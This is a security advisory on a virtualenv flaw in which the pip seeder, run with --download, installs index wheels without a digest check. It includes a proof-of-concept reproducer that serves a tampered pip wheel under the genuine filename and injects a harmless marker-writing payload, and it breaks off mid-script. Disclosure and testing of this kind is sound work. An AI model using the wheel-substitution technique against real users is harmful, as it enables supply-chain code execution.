virtualenv: Pip seeding with download omits wheel digest verification

Summary

The pip seeder acquires bundled wheels with download=False and lets pip access the index when --download is selected. Index candidates on that path do not pass through virtualenv's wheel digest verification.

Anthropic's OSS Scanner reported this as ANT-2026-74ALJBUF in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Wheel selection by the pip seeder when downloads are enabled.

Attacker-controlled input

The pip seeder and download option must be selected. The finding concerns the default-index digest-verification policy. Explicit custom-index settings already opt out of comparison against PyPI metadata; this patch retains that policy.

Affected code

The relevant 21.14.8 source is in pip seeder.

Mechanism

With --seeder pip --download, PipInvoke.get_pip_install_cmd() first calls get_wheel(download=False), so virtualenv's download_wheel() and verify_wheel_digest() are skipped. It then lets pip install consult the configured index. An index wheel with the same package and version as the bundled wheel can be selected without virtualenv comparing its SHA-256 with PyPI metadata. The default app-data seeder takes the verification path for the same option.

Reproduction and evidence

The scanner built a local index named in pip.conf that served a modified copy of the bundled pip wheel under the same filename. In the control run, virtualenv --download env-default rejected the wheel with a digest mismatch. In the second run, adding --seeder pip produced an environment whose installed pip/__init__.py matched the index wheel; env-pip/bin/pip --version ran the added line. The reproducer checked the installed bytes and marker before reporting BUG.

Both --seeder pip and --download are needed. The report used a non-PyPI index from pip.conf and left PIP_INDEX_URL, PIP_EXTRA_INDEX_URL, and PIP_INDEX unset, so virtualenv's default-seeder PyPI comparison remained active. This does not establish index control in the default PyPI setup. The unchecked pip-seeder download path is older, while the comparison with the default seeder arose when digest verification was added in 21.7.12. PR #3430 acquires and verifies selected wheels before invoking pip with index lookup disabled.

Attack sequence

sequenceDiagram
    participant I as Index in pip.conf
    participant V as virtualenv PipInvoke
    participant P as pip install
    participant E as Seeded environment
    I->>V: serve modified pip wheel
    V->>V: get_wheel(download=False)
    V->>P: install with --download permitting index lookup
    P->>I: select same-version index wheel
    I->>E: modified pip installed without virtualenv digest check
    E->>E: later pip invocation runs added code
    Note over V,E: Default app-data seeder rejects the same digest

Reproducer files

The following files are from the scanner report for ANT-2026-74ALJBUF. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import glob
import hashlib
import json
import os
import shutil
import subprocess
import sys
import zipfile

from virtualenv.seed.wheels.embed import get_embed_wheel

companions = "/tmp/repro.d"
work = "/tmp/repro-pip-seeder-download"
shutil.rmtree(work, ignore_errors=True)
os.makedirs(work)

# set up: the pip wheel virtualenv bundles, and PyPI's record of its sha256 (served by virtualenv_offline.py: no network)
bundled = get_embed_wheel("pip", f"{sys.version_info.major}.{sys.version_info.minor}")
pypi_sha256 = hashlib.sha256(open(bundled.path, "rb").read()).hexdigest()
pypi_release = {"filename": bundled.name, "digests": {"sha256": pypi_sha256}}
os.makedirs(f"{work}/pypi.org/pypi/pip")
with open(f"{work}/pypi.org/pypi/pip/json", "w") as pypi_json:
    json.dump({"releases": {bundled.version: [pypi_release]}}, pypi_json)

# attacker: the mirror serves other bytes under the bundled wheel's own file name
marker = f"{work}/MIRROR_CODE_RAN"
subprocess.run([sys.executable, f"{companions}/make_mirror.py", str(bundled.path), f"{work}/mirror", marker], check=True)
mirror_wheel = f"{work}/mirror/pip/{bundled.name}"
mirror_sha256 = hashlib.sha256(open(mirror_wheel, "rb").read()).hexdigest()
print(f"{bundled.name}: PyPI publishes sha256 {pypi_sha256}")
print(f"{bundled.name}: the mirror serves  sha256 {mirror_sha256}")

# user: pip.conf names the mirror; PIP_INDEX_URL, PIP_EXTRA_INDEX_URL and PIP_INDEX (which turn the check off) are unset
with open(f"{work}/pip.conf", "w") as pip_conf:
    pip_conf.write(f"[global]\nindex-url = file://{work}/mirror\n")  # file:// stands in for the mirror's http URL
os.makedirs(f"{work}/home-default")
os.makedirs(f"{work}/home-pip")  # one HOME per run, so neither sees the other's app-data or pip cache
virtualenv = [sys.executable, f"{companions}/virtualenv_offline.py", f"{work}/pypi.org", "--no-periodic-update"]

# control: the default seeder with --download fetches the mirror's wheel and refuses it
default_seeder = subprocess.run(
    [*virtualenv, "--download", f"{work}/env-default"],
    env={**os.environ, "HOME": f"{work}/home-default", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
    capture_output=True,
    text=True,
)
refusal = [line for line in default_seeder.stdout.splitlines() if line.startswith("RuntimeError: ")]
print(f"\nCONTROL  virtualenv --download env-default: exit {default_seeder.returncode}")
print("\n".join(refusal))

# trigger: the same command plus --seeder pip
pip_seeder = subprocess.run(
    [*virtualenv, "--download", "--seeder", "pip", f"{work}/env-pip"],
    env={**os.environ, "HOME": f"{work}/home-pip", "PIP_CONFIG_FILE": f"{work}/pip.conf"},
    capture_output=True,
    text=True,
)
print(f"\nOBSERVED virtualenv --download --seeder pip env-pip: exit {pip_seeder.returncode}")
print(pip_seeder.stdout)
if pip_seeder.returncode == 0:
    env_pip = subprocess.run([f"{work}/env-pip/bin/pip", "--version"], capture_output=True, text=True, check=True)
    print(f"$ env-pip/bin/pip --version\n{env_pip.stdout}")

# check: compare env-pip's pip/__init__.py with the one in each wheel
with zipfile.ZipFile(bundled.path) as wheel:
    bundled_init = wheel.read("pip/__init__.py")
with zipfile.ZipFile(mirror_wheel) as wheel:
    mirror_init = wheel.read("pip/__init__.py")
installed = glob.glob(f"{work}/env-pip/lib/python*/site-packages/pip/__init__.py")
installed_init = open(installed[0], "rb").read() if installed else b""
refusal_message = f"has sha256 {mirror_sha256}, but PyPI reports {pypi_sha256}"
refused = default_seeder.returncode != 0 and refusal_message in default_seeder.stdout
print(f"default seeder refused the mirror's wheel for its digest: {refused}")
print(f"env-pip's pip/__init__.py is the bundled wheel's: {installed_init == bundled_init}, the mirror's: {installed_init == mirror_init}")
print(f"the mirror's line ran on env-pip/bin/pip --version: {os.path.exists(marker)}")
print("BUG" if refused and installed_init == mirror_init and os.path.exists(marker) else "OK")

repro.d/make_mirror.py

#!/usr/bin/env python3
# usage: make_mirror.py <genuine pip wheel> <mirror directory> <marker file the payload writes>
import os
import sys
import zipfile

genuine_wheel, mirror, marker = sys.argv[1:]
wheel_name = os.path.basename(genuine_wheel)
payload = f"\nopen({marker!r}, 'w').write('mirror code ran')\n"

os.makedirs(f"{mirror}/pip")
with zipfile.ZipFile(genuine_wheel) as genuine, zipfile.ZipFile(f"{mirror}/pip/{wheel_name}", "w") as served:
    for entry